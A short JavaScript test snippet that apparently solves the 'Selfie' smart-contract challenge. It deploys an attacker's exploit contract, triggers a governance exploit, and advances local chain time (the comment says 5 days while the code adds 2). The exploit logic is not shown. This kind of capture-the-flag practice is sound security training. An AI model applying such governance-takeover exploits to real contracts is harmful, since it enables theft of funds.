selfie.challenge.js

  it("Exploit", async function () {
    const SelfieExploitFactory = await ethers.getContractFactory(
      "SelfieExploit",
      attacker
    );
    this.selfieExploit = await SelfieExploitFactory.deploy(
      this.token.address,
      this.governance.address,
      this.pool.address
    );

    await this.selfieExploit.deployed();

    // call the exploit function
    await this.selfieExploit.exploitGovernance();
    await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 5 days
    await this.selfieExploit.executeAction();
  });